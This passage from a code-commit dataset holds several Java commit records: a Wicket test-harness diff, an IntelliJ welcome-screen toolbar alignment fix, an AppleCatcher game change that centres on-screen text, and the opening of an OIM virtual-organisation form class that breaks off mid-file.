| jdk-1.4/wicket/src/main/java/org/apache/wicket/protocol/http/MockWebApplication.java | WICKET-1264 | <ide><path>dk-1.4/wicket/src/main/java/org/apache/wicket/protocol/http/MockWebApplication.java
<ide>
<ide> this.application.getRequestCycleSettings().setRenderStrategy(
<ide> IRequestCycleSettings.ONE_PASS_RENDER);
<add> // Don't buffer the response, as this can break ajax tests: see WICKET-1264
<add> this.application.getRequestCycleSettings().setBufferResponse(false);
<ide> this.application.getResourceSettings().setResourceFinder(new WebApplicationPath(context));
<ide> this.application.getPageSettings().setAutomaticMultiWindowSupport(false);
<ide> |
|
Java | apache-2.0 | 12af8acbba6e9f1de6ce3705ff1a517d5f75034d | 0 | allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community,allotria/intellij-community | // Copyright 2000-2020 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
package com.intellij.openapi.wm.impl.welcomeScreen;
import com.intellij.icons.AllIcons;
import com.intellij.ide.IdeBundle;
import com.intellij.ide.RecentProjectListActionProvider;
import com.intellij.openapi.Disposable;
import com.intellij.openapi.actionSystem.*;
import com.intellij.openapi.actionSystem.ex.ActionButtonLook;
import com.intellij.openapi.actionSystem.impl.ActionButton;
import com.intellij.openapi.actionSystem.impl.ActionToolbarImpl;
import com.intellij.openapi.project.DumbAwareAction;
import com.intellij.openapi.util.Couple;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.wm.WelcomeScreenTab;
import com.intellij.openapi.wm.WelcomeTabFactory;
import com.intellij.ui.*;
import com.intellij.ui.border.CustomLineBorder;
import com.intellij.ui.components.JBList;
import com.intellij.ui.components.JBTextField;
import com.intellij.ui.components.panels.NonOpaquePanel;
import com.intellij.ui.speedSearch.NameFilteringListModel;
import com.intellij.ui.speedSearch.SpeedSearch;
import com.intellij.util.BooleanFunction;
import com.intellij.util.containers.ContainerUtil;
import com.intellij.util.ui.JBUI;
import org.jetbrains.annotations.NotNull;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import java.awt.*;
import static com.intellij.openapi.actionSystem.impl.ActionButton.HIDE_DROPDOWN_ICON;
import static com.intellij.openapi.wm.impl.welcomeScreen.WelcomeScreenComponentFactory.*;
import static com.intellij.openapi.wm.impl.welcomeScreen.WelcomeScreenUIManager.getMainAssociatedComponentBackground;
import static com.intellij.openapi.wm.impl.welcomeScreen.WelcomeScreenUIManager.getProjectsBackground;
public class ProjectsTabFactory implements WelcomeTabFactory {
static final int PRIMARY_BUTTONS_NUM = 3;
@Override
public @NotNull WelcomeScreenTab createWelcomeTab(@NotNull Disposable parentDisposable) {
return new TabbedWelcomeScreen.DefaultWelcomeScreenTab(IdeBundle.message("welcome.screen.projects.title")) {
@Override
protected JComponent buildComponent() {
if (RecentProjectListActionProvider.getInstance().getActions(false, true).isEmpty()) {
return JBUI.Panels.simplePanel(new EmptyStateProjectsPanel())
.addToBottom(createNotificationsPanel(parentDisposable))
.withBackground(getMainAssociatedComponentBackground());
}
JPanel mainPanel = JBUI.Panels.simplePanel().withBorder(JBUI.Borders.empty(13, 12)).withBackground(getProjectsBackground());
final SearchTextField projectSearch = createSearchProjectsField();
NewRecentProjectPanel projectsPanel = createProjectsPanelWithExternalSearch(projectSearch);
projectsPanel.setBorder(JBUI.Borders.emptyTop(10));
JPanel northPanel =
JBUI.Panels.simplePanel().andTransparent().withBorder(new CustomLineBorder(JBColor.border(), JBUI.insetsBottom(1)) {
@Override
public Insets getBorderInsets(Component c) {
return JBUI.insetsBottom(12);
}
});
JComponent projectActionsPanel = createActionsToolbar().getComponent();
northPanel.add(projectSearch, BorderLayout.CENTER);
northPanel.add(projectActionsPanel, BorderLayout.EAST);
mainPanel.add(northPanel, BorderLayout.NORTH);
mainPanel.add(projectsPanel, BorderLayout.CENTER);
mainPanel.add(createNotificationsPanel(parentDisposable), BorderLayout.SOUTH);
return mainPanel;
}
@NotNull
private NewRecentProjectPanel createProjectsPanelWithExternalSearch(@NotNull SearchTextField projectSearch) {
return new NewRecentProjectPanel(parentDisposable, false) {
@Override
protected JBList<AnAction> createList(AnAction[] recentProjectActions, Dimension size) {
JBList<AnAction> projectsList = super.createList(recentProjectActions, size);
projectsList.setEmptyText(UIBundle.message("message.nothingToShow"));
SpeedSearch speedSearch = new SpeedSearch();
NameFilteringListModel<AnAction> model = new NameFilteringListModel<>(
projectsList.getModel(), createProjectNameFunction(), speedSearch::shouldBeShowing,
() -> StringUtil.notNullize(speedSearch.getFilter()));
projectsList.setModel(model);
projectSearch.addDocumentListener(new DocumentAdapter() {
@Override
protected void textChanged(@NotNull DocumentEvent e) {
speedSearch.updatePattern(projectSearch.getText());
model.refilter();
projectsList.setSelectedIndex(0);
}
});
ScrollingUtil.installActions(projectsList, projectSearch);
DumbAwareAction.create(event -> {
AnAction selectedProject = myList.getSelectedValue();
if (selectedProject != null) {
selectedProject.actionPerformed(event);
}
}).registerCustomShortcutSet(CommonShortcuts.ENTER, projectSearch, parentDisposable);
return projectsList;
}
};
}
@NotNull
private SearchTextField createSearchProjectsField() {
SearchTextField projectSearch = new SearchTextField(false);
projectSearch.setOpaque(false);
projectSearch.setBorder(JBUI.Borders.empty());
JBTextField textEditor = projectSearch.getTextEditor();
textEditor.setOpaque(false);
textEditor.setBorder(JBUI.Borders.empty());
textEditor.getEmptyText().setText(IdeBundle.message("welcome.screen.search.projects.empty.text"));
projectSearch.getTextEditor()
.putClientProperty("StatusVisibleFunction", (BooleanFunction<JBTextField>)editor -> editor.getText().isEmpty());
return projectSearch;
}
@NotNull
private ActionToolbar createActionsToolbar() {
Couple<DefaultActionGroup> mainAndMore =
splitActionGroupToMainAndMore((ActionGroup)ActionManager.getInstance().getAction(IdeActions.GROUP_WELCOME_SCREEN_QUICKSTART),
PRIMARY_BUTTONS_NUM);
DefaultActionGroup toolbarActionGroup = new DefaultActionGroup(
ContainerUtil.map2List(mainAndMore.getFirst().getChildren(null), ToolbarTextButtonWrapper::wrapAsTextButton));
ActionGroup moreActionGroup = mainAndMore.getSecond();
Presentation moreActionPresentation = moreActionGroup.getTemplatePresentation();
moreActionPresentation.setIcon(AllIcons.Actions.More);
moreActionPresentation.putClientProperty(HIDE_DROPDOWN_ICON, true);
toolbarActionGroup.addAction(moreActionGroup);
ActionToolbarImpl toolbar = new ActionToolbarImpl(ActionPlaces.WELCOME_SCREEN, toolbarActionGroup, true) {
@Override
protected @NotNull ActionButton createToolbarButton(@NotNull AnAction action,
ActionButtonLook look,
@NotNull String place,
@NotNull Presentation presentation,
@NotNull Dimension minimumSize) {
ActionButton toolbarButton = super.createToolbarButton(action, look, place, presentation, minimumSize);
toolbarButton.setFocusable(true);
return toolbarButton;
}
};
toolbar.setOpaque(false);
toolbar.setReservePlaceAutoPopupIcon(false);
return toolbar;
}
private JPanel createNotificationsPanel(@NotNull Disposable parentDisposable) {
JPanel notificationsPanel = new NonOpaquePanel(new FlowLayout(FlowLayout.RIGHT));
notificationsPanel.setBorder(JBUI.Borders.emptyTop(10));
Component eventLink = createEventLink("", parentDisposable);
notificationsPanel.add(createErrorsLink(parentDisposable));
notificationsPanel.add(eventLink);
return notificationsPanel;
}
};
}
} | platform/platform-impl/src/com/intellij/openapi/wm/impl/welcomeScreen/ProjectsTabFactory.java | // Copyright 2000-2020 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
package com.intellij.openapi.wm.impl.welcomeScreen;
import com.intellij.icons.AllIcons;
import com.intellij.ide.IdeBundle;
import com.intellij.ide.RecentProjectListActionProvider;
import com.intellij.openapi.Disposable;
import com.intellij.openapi.actionSystem.*;
import com.intellij.openapi.actionSystem.ex.ActionButtonLook;
import com.intellij.openapi.actionSystem.impl.ActionButton;
import com.intellij.openapi.actionSystem.impl.ActionToolbarImpl;
import com.intellij.openapi.project.DumbAwareAction;
import com.intellij.openapi.util.Couple;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.wm.WelcomeScreenTab;
import com.intellij.openapi.wm.WelcomeTabFactory;
import com.intellij.ui.*;
import com.intellij.ui.border.CustomLineBorder;
import com.intellij.ui.components.JBList;
import com.intellij.ui.components.JBTextField;
import com.intellij.ui.components.panels.NonOpaquePanel;
import com.intellij.ui.speedSearch.NameFilteringListModel;
import com.intellij.ui.speedSearch.SpeedSearch;
import com.intellij.util.BooleanFunction;
import com.intellij.util.containers.ContainerUtil;
import com.intellij.util.ui.JBUI;
import org.jetbrains.annotations.NotNull;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import java.awt.*;
import static com.intellij.openapi.actionSystem.impl.ActionButton.HIDE_DROPDOWN_ICON;
import static com.intellij.openapi.wm.impl.welcomeScreen.WelcomeScreenComponentFactory.*;
import static com.intellij.openapi.wm.impl.welcomeScreen.WelcomeScreenUIManager.getMainAssociatedComponentBackground;
import static com.intellij.openapi.wm.impl.welcomeScreen.WelcomeScreenUIManager.getProjectsBackground;
public class ProjectsTabFactory implements WelcomeTabFactory {
static final int PRIMARY_BUTTONS_NUM = 3;
@Override
public @NotNull WelcomeScreenTab createWelcomeTab(@NotNull Disposable parentDisposable) {
return new TabbedWelcomeScreen.DefaultWelcomeScreenTab(IdeBundle.message("welcome.screen.projects.title")) {
@Override
protected JComponent buildComponent() {
if (RecentProjectListActionProvider.getInstance().getActions(false, true).isEmpty()) {
return JBUI.Panels.simplePanel(new EmptyStateProjectsPanel())
.addToBottom(createNotificationsPanel(parentDisposable))
.withBackground(getMainAssociatedComponentBackground());
}
JPanel mainPanel = JBUI.Panels.simplePanel().withBorder(JBUI.Borders.empty(13, 12)).withBackground(getProjectsBackground());
final SearchTextField projectSearch = createSearchProjectsField();
NewRecentProjectPanel projectsPanel = createProjectsPanelWithExternalSearch(projectSearch);
projectsPanel.setBorder(JBUI.Borders.emptyTop(10));
JPanel northPanel =
JBUI.Panels.simplePanel().andTransparent().withBorder(new CustomLineBorder(JBColor.border(), JBUI.insetsBottom(1)) {
@Override
public Insets getBorderInsets(Component c) {
return JBUI.insetsBottom(12);
}
});
JComponent projectActionsPanel = createActionsToolbar().getComponent();
northPanel.add(projectSearch, BorderLayout.CENTER);
northPanel.add(projectActionsPanel, BorderLayout.EAST);
mainPanel.add(northPanel, BorderLayout.NORTH);
mainPanel.add(projectsPanel, BorderLayout.CENTER);
mainPanel.add(createNotificationsPanel(parentDisposable), BorderLayout.SOUTH);
return mainPanel;
}
@NotNull
private NewRecentProjectPanel createProjectsPanelWithExternalSearch(@NotNull SearchTextField projectSearch) {
return new NewRecentProjectPanel(parentDisposable, false) {
@Override
protected JBList<AnAction> createList(AnAction[] recentProjectActions, Dimension size) {
JBList<AnAction> projectsList = super.createList(recentProjectActions, size);
projectsList.setEmptyText(UIBundle.message("message.nothingToShow"));
SpeedSearch speedSearch = new SpeedSearch();
NameFilteringListModel<AnAction> model = new NameFilteringListModel<>(
projectsList.getModel(), createProjectNameFunction(), speedSearch::shouldBeShowing,
() -> StringUtil.notNullize(speedSearch.getFilter()));
projectsList.setModel(model);
projectSearch.addDocumentListener(new DocumentAdapter() {
@Override
protected void textChanged(@NotNull DocumentEvent e) {
speedSearch.updatePattern(projectSearch.getText());
model.refilter();
projectsList.setSelectedIndex(0);
}
});
ScrollingUtil.installActions(projectsList, projectSearch);
DumbAwareAction.create(event -> {
AnAction selectedProject = myList.getSelectedValue();
if (selectedProject != null) {
selectedProject.actionPerformed(event);
}
}).registerCustomShortcutSet(CommonShortcuts.ENTER, projectSearch, parentDisposable);
return projectsList;
}
};
}
@NotNull
private SearchTextField createSearchProjectsField() {
SearchTextField projectSearch = new SearchTextField(false);
projectSearch.setOpaque(false);
projectSearch.setBorder(JBUI.Borders.empty());
JBTextField textEditor = projectSearch.getTextEditor();
textEditor.setOpaque(false);
textEditor.setBorder(JBUI.Borders.empty());
textEditor.getEmptyText().setText(IdeBundle.message("welcome.screen.search.projects.empty.text"));
projectSearch.getTextEditor()
.putClientProperty("StatusVisibleFunction", (BooleanFunction<JBTextField>)editor -> editor.getText().isEmpty());
return projectSearch;
}
@NotNull
private ActionToolbar createActionsToolbar() {
Couple<DefaultActionGroup> mainAndMore =
splitActionGroupToMainAndMore((ActionGroup)ActionManager.getInstance().getAction(IdeActions.GROUP_WELCOME_SCREEN_QUICKSTART),
PRIMARY_BUTTONS_NUM);
DefaultActionGroup toolbarActionGroup = new DefaultActionGroup(
ContainerUtil.map2List(mainAndMore.getFirst().getChildren(null), ToolbarTextButtonWrapper::wrapAsTextButton));
ActionGroup moreActionGroup = mainAndMore.getSecond();
Presentation moreActionPresentation = moreActionGroup.getTemplatePresentation();
moreActionPresentation.setIcon(AllIcons.Actions.More);
moreActionPresentation.putClientProperty(HIDE_DROPDOWN_ICON, true);
toolbarActionGroup.addAction(moreActionGroup);
ActionToolbarImpl toolbar = new ActionToolbarImpl(ActionPlaces.WELCOME_SCREEN, toolbarActionGroup, true) {
@Override
protected @NotNull ActionButton createToolbarButton(@NotNull AnAction action,
ActionButtonLook look,
@NotNull String place,
@NotNull Presentation presentation,
@NotNull Dimension minimumSize) {
ActionButton toolbarButton = super.createToolbarButton(action, look, place, presentation, minimumSize);
toolbarButton.setFocusable(true);
return toolbarButton;
}
};
toolbar.setOpaque(false);
return toolbar;
}
private JPanel createNotificationsPanel(@NotNull Disposable parentDisposable) {
JPanel notificationsPanel = new NonOpaquePanel(new FlowLayout(FlowLayout.RIGHT));
notificationsPanel.setBorder(JBUI.Borders.emptyTop(10));
Component eventLink = createEventLink("", parentDisposable);
notificationsPanel.add(createErrorsLink(parentDisposable));
notificationsPanel.add(eventLink);
return notificationsPanel;
}
};
}
} | welcome screen: IDEA-245267 Buttons on welcome screen are not aligned with projects list
GitOrigin-RevId: d1d42fae91c78b0653b0dacd6f94c3978ab14d45 | platform/platform-impl/src/com/intellij/openapi/wm/impl/welcomeScreen/ProjectsTabFactory.java | welcome screen: IDEA-245267 Buttons on welcome screen are not aligned with projects list | <ide><path>latform/platform-impl/src/com/intellij/openapi/wm/impl/welcomeScreen/ProjectsTabFactory.java
<ide> }
<ide> };
<ide> toolbar.setOpaque(false);
<add> toolbar.setReservePlaceAutoPopupIcon(false);
<ide> return toolbar;
<ide> }
<ide> |
|
Java | apache-2.0 | 26c959d0078009754840e44b87152910c6728383 | 0 | cescott/AppleCatcher,cescott/AppleCatcher,cescott/AppleCatcher | package com.andersonescott.gameworld;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.Texture;
import com.badlogic.gdx.graphics.g2d.BitmapFont;
import com.badlogic.gdx.graphics.g2d.GlyphLayout;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.graphics.GL20;
public class GameRenderer {
protected GameWorld world;
protected OrthographicCamera cam;
protected SpriteBatch batch;
protected Texture background, hearts;
protected BitmapFont font, title, gameTitle;
protected GlyphLayout layout;
public GameRenderer(GameWorld tempWorld){
world = tempWorld;
batch = new SpriteBatch();
background = new Texture("applecatcher_bg.jpg");
hearts = new Texture("applecatcher_heart.png");
cam = new OrthographicCamera();
cam.setToOrtho(true, 800, 600);
font = new BitmapFont();
title = new BitmapFont();
gameTitle = new BitmapFont();
layout = new GlyphLayout();
font.setColor(1.0f, 1.0f, 1.0f, 1.0f);
title.setColor(1.0f, 1.0f, 1.0f, 1.0f);
title.getData().setScale(1.25f);
gameTitle.setColor(1.0f, 1.0f, 1.0f, 1.0f);
gameTitle.getData().setScale(5f);
}
public void render(){
//draw a black background
Gdx.gl.glClearColor(1, 0, 0, 1);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT);
//start drawing textures
batch.begin();
//draw background
batch.draw(background, 0, 0);
//draw apples
for (int i=0; i<world.getApples().size();i++){
batch.draw(world.getApples().get(i).getImage(), (int)world.getApples().get(i).x(), (int)world.getApples().get(i).y());
}
//draw player
batch.draw(world.getPlayer().getImage(), (int)world.getPlayer().x(), (int)world.getPlayer().y());
//draw scoreboard
font.draw(batch, "Score: "+world.getPlayer().getScore(), 700f, 570f);
//draw lives
for (int j=0; j<world.getPlayer().getLives(); j++){
batch.draw(hearts, 10, 55*j+125);
}
if (world.isGameover()){
layout.setText(title, "Game Over");
title.draw(batch, layout, (800-layout.width)/2, 300f);
layout.setText(title, "Score: "+world.getPlayer().getScore());
title.draw(batch, layout, (800-layout.width)/2, 250f);
}
if (world.isReady()){
layout.setText(gameTitle, "Apple Catcher BETA");
gameTitle.draw(batch, layout, (800-layout.width)/2, 400f);
layout.setText(title, "Press space to Start");
title.draw(batch, layout, (800-layout.width)/2, 300f);
}
batch.end();
}
}
| AppleCatcher/core/src/com/andersonescott/gameworld/GameRenderer.java | package com.andersonescott.gameworld;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.Texture;
import com.badlogic.gdx.graphics.g2d.BitmapFont;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.graphics.GL20;
public class GameRenderer {
protected GameWorld world;
protected OrthographicCamera cam;
protected SpriteBatch batch;
protected Texture background, hearts;
protected BitmapFont font, title;
public GameRenderer(GameWorld tempWorld){
world = tempWorld;
batch = new SpriteBatch();
background = new Texture("applecatcher_bg.jpg");
hearts = new Texture("applecatcher_heart.png");
cam = new OrthographicCamera();
cam.setToOrtho(true, 800, 600);
font = new BitmapFont();
title = new BitmapFont();
font.setColor(1.0f, 1.0f, 1.0f, 1.0f);
title.setColor(1.0f, 1.0f, 1.0f, 1.0f);
title.getData().setScale(1.25f);
}
public void render(){
//draw a black background
Gdx.gl.glClearColor(1, 0, 0, 1);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT);
//start drawing textures
batch.begin();
//draw background
batch.draw(background, 0, 0);
//draw apples
for (int i=0; i<world.getApples().size();i++){
batch.draw(world.getApples().get(i).getImage(), (int)world.getApples().get(i).x(), (int)world.getApples().get(i).y());
}
//draw player
batch.draw(world.getPlayer().getImage(), (int)world.getPlayer().x(), (int)world.getPlayer().y());
//draw scoreboard
font.draw(batch, "Score: "+world.getPlayer().getScore(), 700f, 570f);
//draw lives
for (int j=0; j<world.getPlayer().getLives(); j++){
batch.draw(hearts, 10, 55*j+125);
}
if (world.isGameover()){
title.draw(batch, "Game Over", 400f, 300f);
title.draw(batch, "Score: "+world.getPlayer().getScore(), 400f, 250f);
}
if (world.isReady()){
title.draw(batch, "Press space to Start", 400f, 300f);
}
batch.end();
}
}
| Centered text
| AppleCatcher/core/src/com/andersonescott/gameworld/GameRenderer.java | Centered text | <ide><path>ppleCatcher/core/src/com/andersonescott/gameworld/GameRenderer.java
<ide> import com.badlogic.gdx.graphics.OrthographicCamera;
<ide> import com.badlogic.gdx.graphics.Texture;
<ide> import com.badlogic.gdx.graphics.g2d.BitmapFont;
<add>import com.badlogic.gdx.graphics.g2d.GlyphLayout;
<ide> import com.badlogic.gdx.graphics.g2d.SpriteBatch;
<ide> import com.badlogic.gdx.Gdx;
<ide> import com.badlogic.gdx.graphics.GL20;
<ide>
<ide> protected Texture background, hearts;
<ide>
<del> protected BitmapFont font, title;
<add> protected BitmapFont font, title, gameTitle;
<add> protected GlyphLayout layout;
<ide>
<ide> public GameRenderer(GameWorld tempWorld){
<ide> world = tempWorld;
<ide> cam.setToOrtho(true, 800, 600);
<ide> font = new BitmapFont();
<ide> title = new BitmapFont();
<add> gameTitle = new BitmapFont();
<add> layout = new GlyphLayout();
<ide>
<ide> font.setColor(1.0f, 1.0f, 1.0f, 1.0f);
<ide> title.setColor(1.0f, 1.0f, 1.0f, 1.0f);
<ide> title.getData().setScale(1.25f);
<add> gameTitle.setColor(1.0f, 1.0f, 1.0f, 1.0f);
<add> gameTitle.getData().setScale(5f);
<ide> }
<ide>
<ide> public void render(){
<ide> batch.draw(hearts, 10, 55*j+125);
<ide> }
<ide> if (world.isGameover()){
<del> title.draw(batch, "Game Over", 400f, 300f);
<del> title.draw(batch, "Score: "+world.getPlayer().getScore(), 400f, 250f);
<add> layout.setText(title, "Game Over");
<add> title.draw(batch, layout, (800-layout.width)/2, 300f);
<add>
<add> layout.setText(title, "Score: "+world.getPlayer().getScore());
<add> title.draw(batch, layout, (800-layout.width)/2, 250f);
<ide> }
<ide> if (world.isReady()){
<del> title.draw(batch, "Press space to Start", 400f, 300f);
<add> layout.setText(gameTitle, "Apple Catcher BETA");
<add> gameTitle.draw(batch, layout, (800-layout.width)/2, 400f);
<add> layout.setText(title, "Press space to Start");
<add> title.draw(batch, layout, (800-layout.width)/2, 300f);
<ide> }
<ide> batch.end();
<ide> } |
|
Java | apache-2.0 | 0c90ef018f8b8882c7aca71317c8b52c090f0c3a | 0 | opensciencegrid/oim,opensciencegrid/oim,opensciencegrid/oim,opensciencegrid/oim,opensciencegrid/oim | package edu.iu.grid.oim.view.divrep.form;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.LinkedHashMap;
import org.apache.log4j.Logger;
import com.divrep.DivRep;
import com.divrep.DivRepEvent;
import com.divrep.DivRepEventListener;
import com.divrep.common.DivRepCheckBox;
import com.divrep.common.DivRepForm;
import com.divrep.common.DivRepFormElement;
import com.divrep.common.DivRepSelectBox;
import com.divrep.common.DivRepStaticContent;
import com.divrep.common.DivRepTextArea;
import com.divrep.common.DivRepTextBox;
import com.divrep.validator.DivRepUrlValidator;
import edu.iu.grid.oim.lib.Authorization;
import edu.iu.grid.oim.lib.Footprints;
import edu.iu.grid.oim.lib.AuthorizationException;
import edu.iu.grid.oim.lib.StaticConfig;
import edu.iu.grid.oim.model.ContactRank;
import edu.iu.grid.oim.model.FOSRank;
import edu.iu.grid.oim.model.UserContext;
import edu.iu.grid.oim.model.UserContext.MessageType;
import edu.iu.grid.oim.model.cert.CertificateManager;
import edu.iu.grid.oim.model.db.ContactTypeModel;
import edu.iu.grid.oim.model.db.ContactModel;
import edu.iu.grid.oim.model.db.FieldOfScienceModel;
import edu.iu.grid.oim.model.db.VOOasisUserModel;
import edu.iu.grid.oim.model.db.VOReportContactModel;
import edu.iu.grid.oim.model.db.VOReportNameModel;
import edu.iu.grid.oim.model.db.VOReportNameFqanModel;
import edu.iu.grid.oim.model.db.SCModel;
import edu.iu.grid.oim.model.db.VOContactModel;
import edu.iu.grid.oim.model.db.VOFieldOfScienceModel;
import edu.iu.grid.oim.model.db.VOModel;
import edu.iu.grid.oim.model.db.record.ContactTypeRecord;
import edu.iu.grid.oim.model.db.record.ContactRecord;
import edu.iu.grid.oim.model.db.record.FieldOfScienceRecord;
import edu.iu.grid.oim.model.db.record.VOOasisUserRecord;
import edu.iu.grid.oim.model.db.record.VOReportContactRecord;
import edu.iu.grid.oim.model.db.record.VOReportNameRecord;
import edu.iu.grid.oim.model.db.record.VOReportNameFqanRecord;
import edu.iu.grid.oim.model.db.record.SCRecord;
import edu.iu.grid.oim.model.db.record.VOContactRecord;
import edu.iu.grid.oim.model.db.record.VOFieldOfScienceRecord;
import edu.iu.grid.oim.model.db.record.VORecord;
import edu.iu.grid.oim.view.ToolTip;
import edu.iu.grid.oim.view.divrep.AUPConfirmation;
import edu.iu.grid.oim.view.divrep.Confirmation;
import edu.iu.grid.oim.view.divrep.ContactEditor;
import edu.iu.grid.oim.view.divrep.URLListEditor;
import edu.iu.grid.oim.view.divrep.VOReportNames;
import edu.iu.grid.oim.view.divrep.FOSEditor;
import edu.iu.grid.oim.view.divrep.form.validator.IncaseUniqueValidator;
public class VOFormDE extends DivRepForm
{
static Logger log = Logger.getLogger(VOFormDE.class);
private UserContext context;
private Authorization auth;
private Integer id;
private DivRepTextBox name;
private DivRepTextBox long_name;
private DivRepTextArea description;
private DivRepTextArea community;
private DivRepSelectBox sc_id;
private DivRepCheckBox active;
private DivRepCheckBox disable;
private DivRepCheckBox child_vo;
private DivRepSelectBox parent_vo;
private DivRepSelectBox certificate_signer;
private Confirmation confirmation;
private DivRepTextArea comment;
static public ArrayList<ContactTypeRecord.Info> ContactTypes;
static {
ContactTypes = new ArrayList<ContactTypeRecord.Info>();
ContactTypes.add(new ContactTypeRecord.Info(1, "A contact who has registered this virtual organization"));
ContactTypes.add(new ContactTypeRecord.Info(6, "Contacts who decides on what virtual organizations are allowed to run on VO-owned resources, who are users of this virtual organization, etc"));
ContactTypes.add(new ContactTypeRecord.Info(3, "Contacts for ticketing and assorted issues. This is typically a user/application support person or a help desk"));
ContactTypes.add(new ContactTypeRecord.Info(2, "Security notifications sent out by the OSG security team are sent to primary and secondary virtual organization security contacts"));
ContactTypes.add(new ContactTypeRecord.Info(5, "Contacts who do not fall under any of the above types but would like to be able to edit this virtual organization can be added as miscellaneous contact"));
ContactTypes.add(new ContactTypeRecord.Info(11, "RA (Registration Authority) agent who can approve user certificate requests for this VO. Only PKI staff can update this information"));
ContactTypes.add(new ContactTypeRecord.Info(12, "Sponsors who can vet user certificate requesters."));
}
private HashMap<Integer, ContactEditor> contact_editors = new HashMap();
// Moving fields related to only VOs that do actual research, apart
// from providing services on their facility to a separate area that
// that can be hidden -agopu 2010-05-31
private DivRepCheckBox science_vo;
private ScienceVOInfo science_vo_info;
private DivRepTextArea app_description;
private VOReportNames vo_report_name_div;
private FOSEditor field_of_science_de;
private URLs urls;
private DivRepTextBox primary_url; // Moved out of URLs class to enable direct property manipulation
private DivRepTextBox aup_url;
private DivRepTextBox membership_services_url;
private DivRepTextBox purpose_url;
private DivRepTextBox support_url;
private DivRepCheckBox use_oasis;
private OASISInfo oasis_info;
private DivRepCheckBox cert_only;
class ScienceVOInfo extends DivRepFormElement
{
protected void onEvent(DivRepEvent e) {
// TODO Auto-generated method stub
}
ScienceVOInfo(DivRep _parent, VORecord rec) {
super(_parent);
app_description = new DivRepTextArea(this);
app_description.setLabel("Enter an Application Description");
app_description.setValue(rec.app_description);
app_description.setSampleValue("CDF Analysis jobs will be run");
urls = new URLs(this, rec);
new DivRepStaticContent(this, "<h3>Field Of Science</h3>");
try {
field_of_science_de = new FOSEditor(this, new FieldOfScienceModel(context), true);
FieldOfScienceModel fosmodel = new FieldOfScienceModel(context);
//ArrayList<Integer> selected = new ArrayList<Integer>();
//select currently selected field of science
if(rec.id != null) {
VOFieldOfScienceModel vofsmodel = new VOFieldOfScienceModel(context);
for(VOFieldOfScienceRecord fsrec : vofsmodel.getByVOID(rec.id)) {
//selected.add(fsrec.field_of_science_id);
FieldOfScienceRecord fos = fosmodel.get(fsrec.field_of_science_id);
field_of_science_de.addSelected(fos, fsrec.rank_id);
}
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
new DivRepStaticContent(this, "<p class=\"help-block\">* If you can't find the field of science you are trying to enter, please <a href=\"https://ticket.grid.iu.edu\" target='_blank'\">submit GOC ticket</a> and request to add a new field of science.</p>");
// Handle reporting names
new DivRepStaticContent(this, "<h3>Reporting Names for your VO</h3>");
new DivRepStaticContent(this, "<p>This section allows you to define report names for this VO. These report names are used by the Gratia Accounting software to organize periodic usage accounting reports. You need to define at least one report name -- for example, one with the same name as the VO (short) name and no FQANs. Large VOs with several sub-groups can define different report names, and also one or more FQAN per report name. Contact [email protected] if you have any questions about VO report names.</p>");
ContactModel cmodel = new ContactModel (context);
VOReportNameModel vorepname_model = new VOReportNameModel(context);
VOReportNameFqanModel vorepnamefqan_model = new VOReportNameFqanModel(context);
ArrayList<VOReportNameRecord> vorepname_records;
try {
vorepname_records = vorepname_model.getAll();
vo_report_name_div = new VOReportNames(this, vorepname_records, cmodel);
if(id != null) {
for(VOReportNameRecord vorepname_rec : vorepname_model.getAllByVOID(id)) {
VOReportContactModel vorcmodel = new VOReportContactModel(context);
Collection<VOReportContactRecord> vorc_list = vorcmodel.getAllByVOReportNameID(vorepname_rec.id);
Collection<VOReportNameFqanRecord> vorepnamefqan_list = vorepnamefqan_model.getAllByVOReportNameID(vorepname_rec.id);
vo_report_name_div.addVOReportName(vorepname_rec, vorepnamefqan_list, vorc_list);
}
} else {
//add new one by default
vo_report_name_div.addVOReportName(
new VOReportNameRecord(),
new ArrayList<VOReportNameFqanRecord>(),
new ArrayList<VOReportContactRecord>()
);
}
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//new DivRepStaticContent(this, "</div>");
}
public void render(PrintWriter out) {
out.print("<div id=\""+getNodeID()+"\">");
if(!isHidden()) {
for(DivRep child : childnodes) {
if(child instanceof DivRepFormElement) {
out.print("<div class=\"divrep_form_element\">");
child.render(out);
out.print("</div>");
} else {
//non form element..
child.render(out);
}
}
error.render(out);
}
out.print("</div>");
}
}
class URLs extends DivRepFormElement
{
public URLs(DivRep _parent, VORecord rec) {
super(_parent);
new DivRepStaticContent(this, "<h2>Relevant URLs</h2>");
primary_url = new DivRepTextBox(this);
primary_url.setLabel("Primary URL");
primary_url.setValue(rec.primary_url);
primary_url.addValidator(DivRepUrlValidator.getInstance());
// primary_url.setRequired(true);
primary_url.addInputClass("input-xxlarge");
primary_url.setSampleValue("http://www-cdf.fnal.gov");
aup_url = new DivRepTextBox(this);
aup_url.setLabel("AUP URL");
aup_url.setValue(rec.aup_url);
aup_url.addValidator(DivRepUrlValidator.getInstance());
// aup_url.setRequired(true);
aup_url.addInputClass("input-xxlarge");
aup_url.setSampleValue("http://www-cdf.fnal.gov");
membership_services_url = new DivRepTextBox(this);
membership_services_url.setLabel("Membership Services (VOMS) URL");
membership_services_url.setValue(rec.membership_services_url);
